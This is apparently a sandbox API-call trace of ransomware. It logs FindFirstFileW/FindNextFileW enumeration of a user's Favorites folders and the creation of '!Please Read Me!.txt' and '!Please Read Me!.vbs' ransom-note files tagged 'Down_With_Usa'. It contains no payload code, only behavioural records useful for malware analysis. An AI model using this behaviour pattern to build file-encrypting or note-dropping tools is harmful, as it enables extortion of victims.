[0122.259] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSN Entertainment.url", cAlternateFileName="MSNENT~1.URL")) returned 1
[0122.259] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSN Money.url", cAlternateFileName="MSNMON~1.URL")) returned 1
[0122.259] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSN Sports.url", cAlternateFileName="MSNSPO~1.URL")) returned 1
[0122.259] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSN.url", cAlternateFileName="")) returned 1
[0122.259] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSNBC News.url", cAlternateFileName="MSNBCN~1.URL")) returned 1
[0122.259] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
[0122.259] FindClose (in: hFindFile=0x1ac18610 | out: hFindFile=0x1ac18610) returned 1
[0122.260] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eba50) returned 1
[0122.260] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eba10) returned 1
[0122.260] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebb00) returned 1
[0122.261] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites", nBufferLength=0x105, lpBuffer=0x2eb5f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites", lpFilePart=0x0) returned 0x34
[0122.261] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\", nBufferLength=0x105, lpBuffer=0x2eb590, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\", lpFilePart=0x0) returned 0x35
[0122.261] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\*", lpFindFileData=0x2eb7a0 | out: lpFindFileData=0x2eb7a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe4d4ebc, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ac18610
[0122.262] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe4d4ebc, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0122.262] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSN Autos.url", cAlternateFileName="MSNAUT~1.URL")) returned 1
[0122.262] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSN Entertainment.url", cAlternateFileName="MSNENT~1.URL")) returned 1
[0122.262] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSN Money.url", cAlternateFileName="MSNMON~1.URL")) returned 1
[0122.262] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSN Sports.url", cAlternateFileName="MSNSPO~1.URL")) returned 1
[0122.262] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSN.url", cAlternateFileName="")) returned 1
[0122.262] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSNBC News.url", cAlternateFileName="MSNBCN~1.URL")) returned 1
[0122.262] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSNBC News.url", cAlternateFileName="MSNBCN~1.URL")) returned 0
[0122.262] FindClose (in: hFindFile=0x1ac18610 | out: hFindFile=0x1ac18610) returned 1
[0122.263] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eba50) returned 1
[0122.264] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eba10) returned 1
[0122.264] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\!Please Read Me!.txt.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eb9f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\!Please Read Me!.txt.Down_With_Usa", lpFilePart=0x0) returned 0x57
[0122.264] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites", nBufferLength=0x105, lpBuffer=0x2eba00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites", lpFilePart=0x0) returned 0x34
[0122.264] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebe60) returned 1
[0122.264] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites", nBufferLength=0x105, lpBuffer=0x2eb950, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites", lpFilePart=0x0) returned 0x34
[0122.264] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\!Please Read Me!.txt.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eb8f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\!Please Read Me!.txt.Down_With_Usa", lpFilePart=0x0) returned 0x57
[0122.264] GetFullPathNameW (in: lpFileName="!Please Read Me!.txt.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eb8f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\!Please Read Me!.txt.Down_With_Usa", lpFilePart=0x0) returned 0x48
[0122.264] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\!Please Read Me!.txt.Down_With_Usa", lpFindFileData=0x2ebb00 | out: lpFindFileData=0x2ebb00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
[0122.266] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebdb0) returned 1
[0122.266] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebd70) returned 1
[0122.268] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\!Please Read Me!.txt", nBufferLength=0x105, lpBuffer=0x2eb6b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\!Please Read Me!.txt", lpFilePart=0x0) returned 0x49
[0122.268] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebb90) returned 1
[0122.268] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\!Please Read Me!.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\!please read me!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x3a8
[0122.270] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebb00) returned 1
[0122.271] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\!Please Read Me!.vbs", nBufferLength=0x105, lpBuffer=0x2eb850, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\!Please Read Me!.vbs", lpFilePart=0x0) returned 0x49
[0122.272] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebd30) returned 1
[0122.272] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\!Please Read Me!.vbs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\!please read me!.vbs"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x3a8
[0122.272] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebca0) returned 1
[0122.273] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebb00) returned 1
[0122.273] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live", nBufferLength=0x105, lpBuffer=0x2eb5f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live", lpFilePart=0x0) returned 0x34
[0122.273] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\", nBufferLength=0x105, lpBuffer=0x2eb590, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\", lpFilePart=0x0) returned 0x35
[0122.274] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\*", lpFindFileData=0x2eb7a0 | out: lpFindFileData=0x2eb7a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ac18610
[0122.276] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0122.276] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="Get Windows Live.url", cAlternateFileName="GETWIN~1.URL")) returned 1
[0122.276] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Live Gallery.url", cAlternateFileName="WINDOW~2.URL")) returned 1
[0122.276] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Live Mail.url", cAlternateFileName="WINDOW~1.URL")) returned 1
[0122.276] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Live Spaces.url", cAlternateFileName="WINDOW~3.URL")) returned 1
[0122.276] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
[0122.276] FindClose (in: hFindFile=0x1ac18610 | out: hFindFile=0x1ac18610) returned 1
[0122.277] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eba50) returned 1
[0122.277] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eba10) returned 1
[0122.277] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebb00) returned 1
[0122.277] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live", nBufferLength=0x105, lpBuffer=0x2eb5f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live", lpFilePart=0x0) returned 0x34
[0122.278] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\", nBufferLength=0x105, lpBuffer=0x2eb590, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\", lpFilePart=0x0) returned 0x35
[0122.278] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\*", lpFindFileData=0x2eb7a0 | out: lpFindFileData=0x2eb7a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ac18610
[0122.279] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0122.279] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="Get Windows Live.url", cAlternateFileName="GETWIN~1.URL")) returned 1
[0122.279] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Live Gallery.url", cAlternateFileName="WINDOW~2.URL")) returned 1
[0122.279] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Live Mail.url", cAlternateFileName="WINDOW~1.URL")) returned 1
[0122.279] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Live Spaces.url", cAlternateFileName="WINDOW~3.URL")) returned 1
[0122.279] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Live Spaces.url", cAlternateFileName="WINDOW~3.URL")) returned 0
[0122.280] FindClose (in: hFindFile=0x1ac18610 | out: hFindFile=0x1ac18610) returned 1
[0122.281] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eba50) returned 1
[0122.281] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eba10) returned 1
[0122.281] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\!Please Read Me!.txt.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eb9f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\!Please Read Me!.txt.Down_With_Usa", lpFilePart=0x0) returned 0x57
[0122.281] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live", nBufferLength=0x105, lpBuffer=0x2eba00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live", lpFilePart=0x0) returned 0x34
[0122.282] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebe60) returned 1
[0122.282] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live", nBufferLength=0x105, lpBuffer=0x2eb950, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live", lpFilePart=0x0) returned 0x34
[0122.282] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\!Please Read Me!.txt.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eb8f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\!Please Read Me!.txt.Down_With_Usa", lpFilePart=0x0) returned 0x57
[0122.282] GetFullPathNameW (in: lpFileName="!Please Read Me!.txt.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eb8f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\!Please Read Me!.txt.Down_With_Usa", lpFilePart=0x0) returned 0x48
